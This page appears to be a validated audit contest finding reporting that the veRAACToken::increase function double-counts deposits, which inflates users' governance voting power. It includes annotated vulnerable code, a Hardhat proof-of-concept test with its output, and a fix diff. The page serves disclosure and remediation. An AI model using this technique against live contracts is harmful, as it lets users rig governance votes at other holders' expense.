Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] `veRAACToken::increase` function artificially doubles the voting power of users

xkeywordx

Summary

The veRAACToken::increase function is meant to allow users to add more tokens to an existing lock without changing the unlock time. This function should properly update the state of the _lockState, _boostState, _votingState and _checkpointState. However, the current code accidentally doubles the voting power credited to the users for the amount deposited.

Vulnerability Details

Assuming a 1:1 ratio between the amount deposited and voting power, if a user increases their locked tokens amount by 100, they should get an extra 100 voting power, but the current code will actually give users an extra 200 voting power (it doubles the amount every time).

How and why this happens?
Look at the increase function

function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
//..
//..
}

When called, the first thing that this function does is to update a user's Lock.

function increaseLock(...) internal {
//..
//..
//@audit the user's `Lock::amount` is increased here. This value is used when calculating a user's voting power
//this change is done in storage so the change takes effect immediately
lock.amount += additionalAmount;
state.totalLocked += additionalAmount;
emit LockIncreased(user, additionalAmount);
}

At this point, the user's _lockState.locks[user].amount was already incremented.

Back in the veRAACToken::increase function we continue

function increase(uint256 amount) external nonReentrant whenNotPaused {
//..
//@audit we read the state of the `Lock` for the caller. Remember, the `Lock.amount` was already incremented earlier
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
//@audit this next param is wrong. It should only be `userLock.amount` because it was increased in the previous function.
//By adding `+ amount` we will credit the voting power for the same amount twice
userLock.amount + amount,
userLock.end
);
//..
//..
}

Root cause

The veRAACToken::increase function erroneously doubles the voting power credited to users for their deposits. The function first increments a user's userLock.amount but when computing the new voting power for a user the function passes userLock.amount + amount. At this point, the new amount was already credited to the user inside the _lockState.increaseLock() function call and we shouldn't add it again when computing the new voting power.

Impact

Users can game the system and artificially inflate their voting power. This allows them to have a bigger influence over the governance of the system when voting on proposals.

PoC

Put the following test in the veRAACToken.test.js file

it.only("prove inflated voting power", async () => {
const initialAmount = ethers.parseEther("1000");
const additionalAmount = ethers.parseEther("1000");
const amountUser2 = ethers.parseEther("2000");
const duration = 365 * 24 * 3600; // 1 year
​
//both users deposit
await veRAACToken.connect(users[0]).lock(initialAmount, duration);
await veRAACToken.connect(users[1]).lock(amountUser2, duration);
​
//check voting power after first deposit
const votingPower = await veRAACToken.balanceOf(users[0].address);
const votingPowerUser2 = await veRAACToken.balanceOf(users[1].address);
console.log("Voting power user A after 1000 deposit = ", votingPower);
console.log(
"Voting power user B after 2000 deposit = ",
votingPowerUser2
);
​
//user 1 increases his balance by an extra 1000
await expect(veRAACToken.connect(users[0]).increase(additionalAmount))
.to.emit(veRAACToken, "LockIncreased")
.withArgs(users[0].address, additionalAmount);
​
const position = await veRAACToken.getLockPosition(users[0].address);
expect(position.amount).to.equal(initialAmount + additionalAmount);
​
//check voting power of user 1 after increase
const votingPowerAfterIncrease = await veRAACToken.balanceOf(
users[0].address
);
console.log(
"Voting power user A after another 1000 deposit = ",
votingPowerAfterIncrease
);
console.log(
"Both users deposited 2000 at this point but user A's voting power is",
votingPowerAfterIncrease,
"while user B has",
votingPowerUser2
);
});

Test output

npm run test:unit:tokens
​
> @raac/core@1.0.0 test:unit:tokens
> npx hardhat test test/unit/core/tokens/*.test.js
​
veRAACToken
Lock Mechanism
Voting power user A after 1000 deposit = 250000000000000000000n
Voting power user B after 2000 deposit = 500000000000000000000n
Voting power user A after another 1000 deposit = 750000000000000000000n
Both users deposited 2000 at this point but user A's voting power is 750000000000000000000n while user B has 500000000000000000000n
✔ prove inflated voting power
​
​
1 passing (3s)

The test clearly shows two users who deposited the same amount of tokens. One user deposited 1000 tokens by calling lock and then another 1000 by calling the increase function, while the other one deposited all the tokens in one go via the lock function. They should have the same voting power, but they don't. The user that deposited 1000 tokens via increase got double voting power and overall has 50% more voting power than the second user.

Tools Used

Manual review

Recommended Mitigation

Remove the amount parameter passed to the _votingState.calculateAndUpdatePower function.

function increase(uint256 amount) external nonReentrant whenNotPaused {
//..
//..
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
- userLock.amount + amount,
+ userLock.amount,
userLock.end
);
//..
//..
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.